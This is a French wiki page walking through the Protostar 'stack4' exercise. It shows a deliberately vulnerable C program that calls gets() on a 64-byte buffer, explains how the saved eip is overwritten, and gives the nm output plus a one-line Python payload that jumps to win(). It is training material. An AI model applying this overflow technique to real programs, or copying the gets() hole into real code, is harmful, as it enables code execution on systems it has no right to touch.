Outils d'utilisateurs

Outils du Site


exploit_exercises_protostar:stack4

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

exploit_exercises_protostar:stack4 [2017/04/09 15:33] (Version actuelle)
Ligne 1: Ligne 1:
 +====== Stack 4 ======
  
 +
 +<code C>
 +#include <stdlib.h>
 +#include <unistd.h>
 +#include <stdio.h>
 +#include <string.h>
 +
 +void win()
 +{
 + printf("code flow successfully changed\n");
 +}
 +
 +int main(int argc, char **argv)
 +{
 + char buffer[64];
 +
 + gets(buffer);
 +}
 +</code>
 +
 +Si vous n'avez aucune base en buffer overflow classique, je vous conseil de lire cet article : [[http://www.ghostsinthestack.org/article-13-les-buffers-overflows.html]]
 +
 +Ici, fini le pointeur sur la fonction, nous devons écrire sur l'''eip'' sauvée sur la stack! Lorsque qu'une fonction est appelée, ''main'' par exemple, le programme doit sauvegarder l'endroit où il se trouve avant de sauter sur le code de la fonction. Pour cela, il sauvegarde l'état du registre ''eip'' (qui n'est rien d'autre que le registre pointant sur l'instruction en cours) sur la stack. Une fois l'exécution de la fonction terminée, le programme récupère l'état d'''eip'' sauvegardé et retourne là où il se trouvait. Notre but va être d'écrire sur cet ''eip'' sauvegardé l'adresse de la fonction ''win''.
 +
 +<code>
 +user@protostar:/opt/protostar/bin$ nm ./stack4
 +08049518 d _DYNAMIC
 +080495ec d _GLOBAL_OFFSET_TABLE_
 +...
 +08048408 T main
 +         U puts@@GLIBC_2.0
 +080483f4 T win
 +user@protostar:/opt/protostar/bin$ python -c 'print "A"*76+"\xf4\x83\x04\x08"' | ./stack4
 +code flow successfully changed
 +</code>
exploit_exercises_protostar/stack4.txt · Dernière modification: 2017/04/09 15:33 (modification externe)